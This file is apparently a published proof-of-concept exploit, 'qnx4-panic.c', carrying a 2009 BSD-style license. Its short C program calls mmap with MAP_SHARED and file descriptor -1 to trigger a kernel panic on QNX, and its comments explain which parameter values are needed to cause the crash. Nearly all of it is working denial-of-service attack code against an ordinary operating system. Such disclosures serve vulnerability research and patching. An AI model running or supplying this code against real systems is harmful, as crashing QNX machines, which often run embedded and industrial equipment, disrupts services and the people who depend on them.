Exploit to kernel panic QNX.

qnx4-panic.c

/******************************************************************************
 * Copyright (c) 2009 Telenium Inc.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 ******************************************************************************/

#include <sys/mman.h>

#include <unistd.h>

int
main(int argc, const char **argv)
{
	void *addr = NULL;
	size_t length = 1;
	int prot = PROT_READ;
	off_t offset = 0;

	/*
	 * This parameter must be MAP_SHARED to cause the panic. If MAP_PRIVATE
	 * is used instead, the panic does not occur.
	 */
	int flags = MAP_SHARED;

	/*
	 * This parameter must be -1 to cause the panic. If other integers
	 * (e.g., -2, 0, 1, 2, 3) are used instead, the panic does not occur.
	 */
	int fd = -1;

	(void) mmap(addr, length, prot, flags, fd, offset);

	return (0);
}